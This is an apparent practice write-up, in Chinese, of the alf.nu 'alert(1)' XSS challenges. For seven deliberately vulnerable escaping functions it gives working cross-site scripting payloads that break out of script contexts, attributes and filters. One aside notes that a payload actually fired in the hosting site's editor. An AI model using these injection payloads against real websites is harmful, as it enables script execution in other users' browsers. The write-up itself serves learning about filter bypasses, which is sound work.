https://alf.nu/alert1
#XSS练习

  1. Warm up

    function escape(s) {
    return '<script>console.log("'+s+'");</script>';
    }

    ans: ");alert(1,"
    闭合掉console.log即可,此时output: <script>console.log("");alert(1,"");</script>

  2. Adobe

    function escape(s) {
    s = s.replace(/"/g, '\\"');
    return '<script>console.log("' + s + '");</script>';
    }

    ans: \");alert(1)//
    输入的引号"经过转义成了\"。但输入如果是",就会转换为\",这个时候,本来是转义引号的,但变成了转义反斜杆了,从而引号可以逃脱转义了。
    output: <script>console.log("\\");alert(1)//");</script>

  3. JSON

    function escape(s) {
    s = JSON.stringify(s);
    return '<script>console.log(' + s + ');</script>';
    }

    ans: </script><script>alert(1)//
    stringify没有处理<,>,/,所以闭合script标签即可。
    output: <script>console.log("</script><script>alert(1)//");</script>

  4. Markdown

    function escape(s) {
    //<和"变为实体编码&lt和&quot
    var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
    // URLs
    text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
    // [[img123|Description]]
    //如果含有[[img_src|img_alt]],变为<img alt="img_alt" src="this_src.gif">
    text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
    return text;
    }

    ans: [[a|http://onerror='alert(1)']]or
    [[a|http://onerror=alert(1)//]]
    output: <img alt="<a href="http://onerror='alert(1)'"src="a.gif">">http://onerror='alert(1)']]</a>

  5. DOM

    function escape(s) {
    // Slightly too lazy to make two input fields.
    // Pass in something like "TextNode#foo"
    var m = s.split(/#/);
    
    // Only slightly contrived at this point.
    var a = document.createElement('div');
    a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
    return a.innerHTML;
    }

    需要了解document有哪些create开头的方法,可以用createComment。
    ans: Comment#><iframe onload=alert(1)
    output: <!--><iframe onload=alert(1)-->
    (牛客的markdown编辑器好像有点问题吧,没加注释的上面这句刚刚弹出对话框了==)

  6. Callback

    function escape(s) {
    // Pass inn "callback#userdata"
    var thing = s.split(/#/); 
    
    if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
    var obj = {'userdata': thing[1] };
    var json = JSON.stringify(obj).replace(/</g, '\\u003c');
    return "<script>" + thing[0] + "(" + json +")</script>";
    }

    eg:callback#userdata
    callback位置的字符串有限制:只能是a-z,A-Z,[,],'
    ans:'#';alert(1)//

  7. Skandia

    function escape(s) {
    return '<script>console.log("' + s.toUpperCase() + '")</script>';
    }

    变成大写了,参考别人的答案得到:</script><iframe onload=&#x61&#x6C&#x65&#x72&#x74(1)>